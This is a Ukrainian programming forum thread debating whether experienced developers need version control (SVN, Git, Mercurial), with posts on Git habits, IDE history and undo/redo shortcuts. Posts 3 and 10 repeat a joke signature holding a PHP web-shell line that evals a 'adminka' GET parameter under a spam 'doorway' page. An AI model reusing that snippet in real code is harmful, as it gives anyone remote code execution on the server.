1

Тема: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

Оскільки я частенько заходжу на сайти пошуку роботи (для аналізу різної статистики), то ж інколи перечитую вимоги роботодавця до претендента на вакансію.

Ніяк не можу звикнути, що у вимогах для досвідчених програмістів досить часто можна зустріти вимогу про володіння якоюсь із Систем Контролю Версій (SVN, Git, Mercurial...)

Коли я таке бачу, то для мене це те ж саме, щоб у вимогах були пункти щось типу "вміння набирати текст на клавіатурі".

Нижче в опитуванні під "Досвідчений/Недосвідчений" мається на увазі, як ви себе оцінюєте: досвідченим програмістом, чи ні.

Подякували: leofun011

2

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

Немає потреби,тому не користуюсь.

=)

3

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

Можуть.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

4

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

Взагалі не розумію, як без системи контролю версій можна щось девелопати. Ну хіба що якісь маленькі демки чи тестові програмки. Але усе більш серйозне потребує контролю версій. На минулій роботі я вів проект самотужки, і коли туди тільки прийшов, то першим ділом підняв SVN. Зараз уже й не пригадаю, скільки разів під час перевірки змін перед черговим комітом я знаходив небажані правки. Та й відкати також не раз доводилося робити.

Подякували: leofun011

5

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

використовую, інколи навіть в маленьких проектах

Був собі цебер, та переполуцебрився на полуцебренята
Неймовірний блог про мандри http://bosano.ga
Подякували: leofun011

6 Востаннє редагувалося reverse2500 (25.11.2014 17:17:31)

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

із ibasha

Як мені подобається svn, a не "тобі цей файл ще треба ?"

- Поганому трояну фаєрвол заважає
- Ніколи не програмуйте та не пийте пиво
Якщо ви з першого разу написали програму, в якій немає жодної помилки, повідомте про це системного програмісту: він виправить помилки в компіляторі
Подякували: Torbins, leofun012

7

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

Використовую git для всього.
Навіть для проектів не повязаних з розробкою))

У вакансії "junior php developer " писав що бажано знання git/svn так як не всі початкові програмісти віддають собі відлік використовувати систему контролю версій)

Подякували: koala, leofun012

8

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

у мене будь-який проект починається з ініціалізації репозиторію. А то потім не знайдеш, чому хвилину тому працювало, а тепер перестало.

Подякували: leofun011

9

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

А то потім не знайдеш, чому хвилину тому працювало, а тепер перестало.

для таких цілей я використовую local history в IDE =)

Подякували: Torbins1

10

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

+5

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

11

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

funivan написав:

А то потім не знайдеш, чому хвилину тому працювало, а тепер перестало.

для таких цілей я використовую local history в IDE =)

А я Ctrl+Z і норм,ніколи не підводило).

=)

12

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

А я Ctrl+Z і норм,ніколи не підводило).

можна довго контролзетати ))) ;) але так тож норма штука )

13

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

До речі, як виявилось - не всі в курсі, що протилежна дія до Ctrl+Z це Ctrl+Y

14

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

ktretyak написав:

До речі, як виявилось - не всі в курсі, що протилежна дія до Ctrl+Z це Ctrl+Y

Від конкретного редактора залежить. Десь Ctrl+Y, десь Ctrl+Shift+Z (бо історично Ctrl+Y використовувався для видалення поточного рядка тексту), а десь узагалі не передбачено такої можливості.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊
Подякували: leofun011

15

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

Ага, а потім виявиться що та зміна була зроблена не тільки що а 2 дні тому, і ти просто не помічав що воно не працює при певних умовах)

Подякували: leofun011

16

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

P.Y. написав:

Від конкретного редактора залежить. Десь Ctrl+Y, десь Ctrl+Shift+Z (бо історично Ctrl+Y використовувався для видалення поточного рядка тексту), а десь узагалі не передбачено такої можливості.

Так, все вірно, Ctrl+Y працює в більшості редакторів, але не у всіх. В разі коли це не працює, то можна використовувати Ctrl+Shift+Z.

17

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

ktretyak написав:

1. Ніяк не можу звикнути, що у вимогах для досвідчених програмістів досить часто можна зустріти вимогу про володіння якоюсь із Систем Контролю Версій (SVN, Git, Mercurial...)

2. Коли я таке бачу, то для мене це те ж саме, щоб у вимогах були пункти щось типу "вміння набирати текст на клавіатурі".

3.Нижче в опитуванні під "Досвідчений/Недосвідчений" мається на увазі, як ви себе оцінюєте: досвідченим програмістом, чи ні.

тут аж ніби три запитання чи як?
1. По першому - хто розуміє перевагу роботи в програмах Систем Контролю Версій (SVN, Git, Mercurial...) то має точно їх знати, це щось схоже чи є необхідність вчити програмісту англійську, ніби з однієї сторони навіщо, але ж...
теж саме і тут, в більшості над одним проектом працює профі різного напрямку завдяки цим программам є можливість спільної роботи над спільним проектом, та й напевно інші переваги, якто повернення до раніше розробленої версії свого проекту
2. Друге речення як розуміти? що пан ktretyak за замовчуванням теж усвідомлює, що системи контролю дуже важливі, тому навіть нема необхідності запитувати при вимогах до виконавця робіт чи людина знає меркуріал чи ні,- однозначно має знати :)
3. Питання чи вірніше опитування, не в контексті програм  Систем Контролю Версій (SVN, Git, Mercurial...), а просто вашого проф росту ?

P.S. В опитуванні мій пункт "Інше", але в контексті Систем Контролю Версій; не досвідчений (розбирався працював, але досить мало), але усвідомлюю важливість, тому планую розібратись/вивчити краще

Збираю знання і... роздаю знання :)
Подякували: leofun011

18 Востаннє редагувалося ktretyak (30.11.2014 13:25:48)

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

До речі, колись, коли сам тільки починав вивчати SVN, створив коротенький урок Створення локального сховища SVN. Це підійде початківцям, які ще не знають що таке SVN.

Подякували: Анатолій1

19

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

А чому коротенький?.... Потрібно більше, мені потрібно :) , а коротеньким не обійдеться.
Особисто цілу неділю розбирався, поки розбирався, щось ніби розумів ,  зараз майже знову пусто ....
потрібно буде теж накрапати в чернетці основи роботи в SVN і таке інше....
але маю в першу чергу MySQL, а потім вже розбиратись в програмах спільної роботи

Збираю знання і... роздаю знання :)

20

Re: Хіба можуть досвідчені програмісти обходитись без SVN, Git...

А що там налаштовувати? Поставив Subversion Edge, створив репозиторій і користуєшся.